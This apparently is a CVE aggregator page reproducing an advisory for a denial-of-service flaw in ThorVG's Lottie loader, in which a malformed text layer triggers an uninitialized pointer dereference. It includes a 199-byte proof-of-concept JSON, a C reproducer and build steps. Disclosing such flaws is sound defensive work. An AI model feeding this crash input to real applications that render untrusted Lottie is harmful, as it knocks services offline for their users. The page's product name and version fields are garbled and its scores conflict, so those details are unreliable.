CVE-2026-102880Affected source files Use of Uninitialized Variable
NVD
Vulnerability Summary
Summary Loading an untrusted Lottie animation that contains a malformed text layer ("ty":5) causes ThorVG to dereference an uninitialized / garbage pointer, crashing the process (denial of service). A 199-byte input reproduces the crash on the current main branch. Any application that renders untrusted Lottie content through ThorVG is affected. Details When a Lottie text layer (`"ty":5`) does not carry a valid text document (e.g. it carries a "shapes" array instead of a "t" document, so the `LottieText` / `LottieTextDoc` state is never populated), ThorVG still builds and renders the text without validating initialization. Uninitialized/garbage pointers are then dereferenced (ExceptionInformation[1] ≈ 0xFFFFFFFFFFFFFFFF). Two sinks, same root cause: Render path: `LottieExpressions::evaluate` (`tvgLottieExpressions.cpp:1520`, reads exp->disabled on a garbage exp) ← `LottieBuilder::updateLayer:1582` (Text case → updateText) ← update ← `LottieLoader::run` ← `Canvas::draw`. Build path: `_attachFont` (`tvgLottieBuilder.cpp:1650/1699`) static_cast<LottieText*>es every child of a text layer with no type check → `LottieTextDoc::operator()(float) (tvgLottieProperty.h:893-894)` reads frames->count/frames->first() on a garbage frames (guards only !frames). Contributing: (1) _attachFont casts non-text children without checking (`p`)->type == `LottieObject::Text;` (2) operator()(`float`) doesn't guard frames->count == 0/garbage frames; (3) updateText→evaluate dereferences an uninitialized exp. | File | Symbol / line | Role | |------|---------------|------| | `tvgLottieExpressions.cpp` | `LottieExpressions::evaluate` @ `:1520` (`exp->disabled`) | render-path crash sink (garbage `exp`) | | `tvgLottieBuilder.cpp` | `LottieBuilder::updateLayer` @ `:1582` → `updateText` | reaches the render sink for a Text layer | | `tvgLottieBuilder.cpp` | `_attachFont` @ `:1650` (`static_cast<LottieText>(p)`) | build-path: casts non-text children without a type check | | `tvgLottieProperty.h` | `LottieTextDoc::operator()(float)` @ `:891-894` (`frames->…`) | build-path crash sink (garbage `frames`) | PoC The trigger input is the attached `poc.json` (199 bytes). It is a Lottie animation whose only layer is a malformed text layer (`"ty":5`) carrying a `"shapes"` array instead of a text document `"t"`: ```json {"v":"5.5.2","fr":30,"ip":0,"op":30,"w":100,"h":100,"layers":[{"ty":5,"ind":1,"ip":0,"op":30,"st":0,"ks":{},"shapes":[{"ty":"gr","it":[{"ty":"rc","s":{"a":0,"k":[10,10]},"p":{"a":0,"k":[0,0]}}]}]}]} ``` Minimal C reproducer (C API; SW/CPU engine, Lottie loader): ```c include <thorvg_capi.h> include <stdio.h> include <stdlib.h> int main(void) { FILE f = fopen("poc.json", "rb"); fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET); char* buf = malloc(n); fread(buf, 1, n, f); fclose(f); tvg_engine_init(0); uint32_t* fb = malloc(256 256 4); Tvg_Canvas* c = tvg_swcanvas_create(); tvg_swcanvas_set_target(c, fb, 256, 256, 256, TVG_COLORSPACE_ARGB8888); Tvg_Paint* p = tvg_picture_new(); tvg_picture_load_data(p, buf, (uint32_t)n, "lottie+json", NULL, true); tvg_canvas_add(c, p); tvg_canvas_draw(c, true); tvg_canvas_sync(c); // crash (may also occur inside load/draw) return 0; } ``` Reproduction procedure (verified on `main` @ `a5556073`, MSVC x64 / Windows; the same steps apply on Linux/macOS with the corresponding toolchain): 1. Check out ThorVG at `main` (or any released v1.0.0–v1.0.7) and build the Lottie loader: ``` git clone https://github.com/thorvg/thorvg && cd thorvg meson setup build -Dengines=cpu -Dloaders=lottie -Dbindings=capi --buildtype=debugoptimized meson compile -C build ``` This produces `build/src/thorvg-1.{dll,lib}` (or `libthorvg.so` / `.dylib`) and `inc/thorvg_capi.h`. 2. Save the attached `poc.json` to the working directory. 3. Compile the reproducer above against the built library: ``` cl /Zi repro.c /I inc /link build\src\thorvg-1.lib # MSVC # or: cc repro.c -Iinc -Lbuild/src -lthorvg-1 -o repro # gcc/clang ``` 4. Run it with `poc.json` present in the current directory: ``` ./repro ``` 5. Expected result: the process crashes with a read access violation (`0xC0000005` on Windows / `SIGSEGV` on Linux), faulting data address `≈ 0xFFFFFFFFFFFFFFFF`, inside `LottieExpressions::evaluate` (`tvgLottieExpressions.cpp:1520`) or `LottieTextDoc::operator()` (`tvgLottieProperty.h:893-894`) per the call stacks in Details. The exact sink varies run-to-run because the dereferenced pointer is uninitialized heap memory, but the crash itself is deterministic. Alternatively, the bundled `lottie2png` / `lottie2gif` example tools (`meson setup build -Dtools=lottie2png -Dloaders=lottie`) reproduce the same crash: `./build/src/bindings/... lottie2png poc.json` faults while loading/rendering. Impact Uninitialized/garbage pointer dereference (CWE-824/CWE-457) → denial of service when parsing untrusted Lottie. Impacted: any application rendering attacker-supplied lottie+json via ThorVG (document/remote-triggered crash). | Scenario | Vector | Base | |----------|--------|------| | Untrusted Lottie auto-rendered from network/document (primary) | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` | 7.5 (High) | | Local Lottie file the user manually opens | `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` | 5.5 (Medium) |
CVSS v3.1 Base Metrics — Score 6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionRequired
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- Affected source files <= 1.0.7
- Affected source files 1.1.1
What to do
Fix it during your normal patch cycle. No exploitation is confirmed yet.
- Check whether you run Affected source files and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Sep 6, 2026Published
- Sep 6, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new Affected source files CVEsYou are reading CVE-2026-102880. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 24, 2026 14:01 UTC